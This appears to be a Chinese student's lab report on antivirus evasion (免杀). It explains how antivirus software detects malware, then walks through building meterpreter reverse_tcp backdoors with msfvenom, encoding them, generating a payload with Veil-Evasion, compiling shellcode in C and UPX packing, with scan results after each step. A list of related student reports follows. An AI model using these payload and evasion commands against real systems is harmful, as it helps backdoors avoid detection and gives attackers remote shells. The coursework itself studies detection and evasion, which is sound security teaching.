基础问题回答

1、杀软是如何检测出恶意代码的?

(1)基于特征码的检测

特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。

优点:检测效率高、能精确检测恶意软件类型和具体名称。

缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。

(2)启发式恶意软件检测

一般在缺乏精确判定依据时,根据些片面特征去推断是否为恶意软件,比如如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件。

优点:可以检测0-day恶意软件(0day是反盗版的打击对象,指在安全补丁发布前被了解和掌握的漏洞信息),具有一定通用性

缺点:实时监控系统行为,开销稍多,没有基于特征码的精确度高

(3)基于行为的恶意软件检测

基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

优点:可发现未知病毒、可相当准确地预报未知的多数病毒。

缺点:可能误报、不能识别病毒名称、实现时有一定难度。

2、免杀是做什么?

即反杀毒技术,是一种能使病毒木马避免被杀毒软件查杀的技术。

3、免杀的基本方法有哪些?

1)变形特征码:

  • 只有EXE:
  • 加壳:压缩壳 加密壳
  • 有shellcode:有源代码:
    • encode编码、payload重新编译
  • 翻译成其他语言

(2)改变明目张胆的行为:

改变通讯方式

    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
      改变操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

1. 实践内容

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.1.1  使用msf生成了后门程序,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。

扫描结果如下图:

(由于名字违规,改成文件名改成了wqy,之后的文件都以这个为基础,以文件名后添加1.2.3为区别)

可以看出不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

  • 一次编码使用命令: -e 选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符

  • 十次编码使用命令:-i设置迭代次数msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.137.128 LPORT=4324 -f exe > wqy1_backdoor.exe
  • 可见多次编码对免杀没有太大的效果

  • msfvenom生成jar文件
      • 生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=4324 x> wqy_backdoor_java.jar
      • 这时只有7款软件能查出来

      • msfvenom生成php文件
          • 生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.137.128LPORT=4324 x> wqy3_backdoor.php
          • 这时只有一款软件发现病毒

          • 使用veil-evasion生成后门程序及检测

                  veil安装太费时间,拷贝了同学的虚拟机之后虚拟机kali地址有所改变变成了192.168.1.115

            输入veil指令;

            use evasion命令进入Evil-Evasion;

            输入命令use c/meterpreter/rev_tcp.py进入配置界面,如下图;

          • 设置反弹连接IP,命令为:set LHOST 192.168.1.115,注意此处的IP是KaliIP;
            • 设置端口,命令为:set LPORT 4324

          • 输入generate生成文件,接着输入你想要playload的名字:veil_c_4324

          • 检测一下:

          • 发现比之前有更多的软件可以检测出来了

          • 半手工注入Shellcode并执行
            • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4324 -f c

          • 创建一个文件4324.exe,然后将unsigned char buf[]赋值到其中,代码如下:

          • 使用命令i686-w64-mingw32-g++ 4324.c -o 4324.exe

          • 使用VirusTota网页下检查结果

          • 加个壳

          • 使用压缩壳(UPX)

            给之前的4324.exe加个壳得到sxx_upxed.exe:

          • 扫描结果如下

          • 1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

            通过组合应用各种技术实现恶意代码免杀

          • 对c盘指定查杀

          • 发现并没有查杀到hyperion的可执行文件,成功免杀。

          • 实践总结与体会

            2.1实验总结

            从实验中知道了还是不能太依赖杀软。加壳基本上没什么用,使用veil-evasion将payload重新编译还可以,通过本次实验还是觉得电脑管家软件病毒库还是很齐全的基本上普通的病毒都能查杀。

            2.2开启杀软能绝对防止电脑中恶意代码吗?

            不能绝对防止电脑中恶意代码,但是大部分还是可以被查杀。

2016424王启元 Exp3免杀原理与实现的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. WordPaster-Joomla_3.4.7-tinymce 4.1.7示例发布

    资源下载:Joomla 3x,   1.1.1. 1.添加wordpaster文件夹 /media/   1.1.2. 2.添加插件文件夹 路径:media/editors/tinymce/plugi ...

  2. 移动开发iOS&Android对比学习--异步处理

    在移动开发里很多时候需要用到异步处理.Android的主线程如果等待超过一定时间的时候直接出现ANR(对不熟悉Android的朋友这里需要解释一下什么叫ANR.ANR就是Application Not ...

  3. 大型Unity手游《英雄之刃-最后之战》源码分析

    英雄之刃之最后一战是国内首款原创精品MOBA手游,是一款由前暴雪文案亲自操刀世界观,日韩专业团队打造美术场景,新加坡团队精心制作战斗音乐的旷世之作! 超快速的匹配对战.默契的团队协作给你带来意犹未尽的 ...

  4. .NET基础 (04)基础类型和语法

    基础类型和语法1 .NET中所有内建类型的基类是什么2 System.Object中包含哪些方法,哪些是虚方法3 值类型和引用类型的区别4 简述装箱和拆箱原理5 C#中是否有全局变量6 struct和 ...

  5. 微信小程序自定义事件

    案例结构 首先,我还是会以案例的形式向大家讲解(这样也能方便大家更好的理解)简单介绍一下案例项目的内容(以上一章自定义组件的案例为基础)项目名称:component自定义子组件cpt父组件:logs ...

  6. 如何在github上上传readme文件

    首先打开记事本写好文字 然后保存为readme.md文件 打开github网页,登录自己的账号,选择右上角new repository 填写信息,勾选选项如下 创建好之后,选择upload files ...

  7. Windows store app[Part 1]:读取U盘数据

    Windows 8系统下开发App程序,对于.NET程序员来说,需要重新熟悉下类库. 关于WinRT,引用一张网上传的很多的结构图: 图1 针对App的开发,App工作在系统划定的安全沙箱内,所以通过 ...

  8. vs code开发.net core项目入门

    今天用vs code来开发net core项目,写一下简要的开发流程,主要步骤如下,看完后你会发现特别简单 1.命令如下: (cmd中运行以下命令,下面命令都基于选择好自己的项目路径) 1.新建文件夹 ...

  9. sharepoint 2010 GetUserProfileByName 5566

    After some further investigation i found that it's actually the "ASP.NET Impersonation" th ...

  10. nowcoder(牛客网)OI测试赛2 解题报告

    qwq听说是一场普及组难度的比赛,所以我就兴高采烈地过来了qwq 然后发现题目确实不难qwq.....但是因为蒟蒻我太蒻了,考的还是很差啦qwq orz那些AK的dalao们qwq 赛后闲来无事,弄一 ...